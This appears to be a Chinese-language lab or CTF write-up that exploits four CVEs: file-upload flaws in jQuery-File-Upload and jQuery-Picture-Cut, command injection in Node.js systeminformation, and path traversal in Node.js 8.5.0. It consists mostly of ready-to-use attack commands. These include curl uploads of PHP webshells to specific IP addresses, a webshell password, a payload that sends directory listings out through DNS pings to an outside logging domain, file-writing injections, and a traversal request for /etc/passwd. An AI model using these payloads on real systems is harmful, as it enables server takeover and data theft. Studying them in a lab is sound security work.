1、CVE-2018-9207(jquery框架)
1.1介绍
这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。
1.2首先在本地准备好一个后门木马shell.php
1.3上传文件myfile=@文件地址
curl -F "myfile=@shell.php" "ip地址/jquery-upload-file/php/upload.php"
1.4.验证是否成功
1.5.这里可以使用哥斯拉等工具进行连接,这里不过多赘述。
2、CVE-2018-9208
2.1介绍
picture cut是一个jquery插件,以非常友好和简单的方式处理图像,具有基于bootstrap或jquery ui的漂亮界面,具有ajax上传,从资源管理器拖动图像,图像裁剪等强大的功能。jQuery-Picture-Cut/src/php/upload.php 中调用…/core/PictureCut.php 处理文件上传的代码不检查文件类型并允许用户选择文件位置路径。未经身份验证的用户并将可执行的 PHP 文件上传到服务器,从而允许执行代码。
2.2.准备一个一句话木马的文件
2.3.使用curl进行连接,观察是否上传成功。
curl -F "inputOfFile=file" -F "request=upload" -F "enableResize=0" -F "minimumWidthToResize=0" -F "minimumHeightToResize=0" -F "folderOnServer=/" -F "imageNameRandom=1" -F "maximumSize=10000" -F "enableMaximumSize=0" -F "file=@shell.php" http://123.58.224.8:18483/jquery-picture-cut/src/php/upload.php
- -F "inputOfFile=file":指定上传文件的参数名为"file"。
- -F "request=upload":指定请求类型为上传。
- -F "enableResize=0":禁用图片缩放功能。
- -F "minimumWidthToResize=0":设置图片最小宽度为0,即不限制宽度。
- -F "minimumHeightToResize=0":设置图片最小高度为0,即不限制高度。
- -F "folderOnServer=/":指定上传到服务器的目录为根目录。
- -F "imageNameRandom=1":设置上传后的文件名为随机生成的文件名。
- -F "maximumSize=10000":设置上传文件的最大大小为10000字节。
- -F "enableMaximumSize=0":禁用最大文件大小限制。
- -F "file=@shell.php":指定要上传的文件为当前目录下的"shell.php"文件。
- http://123.58.224.8:18483/jquery-picture-cut/src/php/upload.php:指定上传的目标URL。
2.4.使用蚁剑一键连接,连接密码为mars。
3、CVE-2021-21315(Node.js自身漏洞)
3.1介绍:
Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。
修复:作为替代升级的一种变通方法,一定要检查或清理传递给si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad()的服务参数。只允许字符串,拒绝任何数组。
3.2.开启一个dns.log网址,申请一个域名
3.3.输入以下payload:
http://118.193.36.37:57388/api/getServices?name[]=$(ping%20`ls%20/tmp`.qki7ut.dnslog.cn)
3.4.访问原来的dnslog网站,可以查看到falg
3.5.也可以创建文件
http://192.168.32.161:8000/api/getServices?name[]=$(echo -e ‘NULL’ > 1.txt)
http://ip:8000/api/getServices?name[]=$(echo -e 'zeeker' > test.txt)
4、CVE-2017-14849(目录穿越)
4.1介绍
Node.js 8.5.0 对⽬录进⾏normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如…/…/…/…/…/…/etc/passwd),在中间位置增加foo/…/(如…/…/…/foo/…/…/…/…/etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是…/…/…/…/…/…/etc/passwd。express这类web框架,通常会提供了静态⽂件服务器的功能,这些功能依赖于 normalize函数。⽐如,express在判断path是否超出静态⽬录范围时,就⽤到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意⽂件读取漏洞。
4.2.打开网址
4.3.输入以下payload,这里尝试直接使用hackerbar发包,发现发送的东西不可读。
原因:浏览器解析的时候,不能解析/../,于是请求的结果变成了static/a/etc/passwd,导致请求结果错误。
static/../../../a/../../../../etc/passwd
4.4.所以还是得使用burpsuit进行构造,这里发现获取到了信息。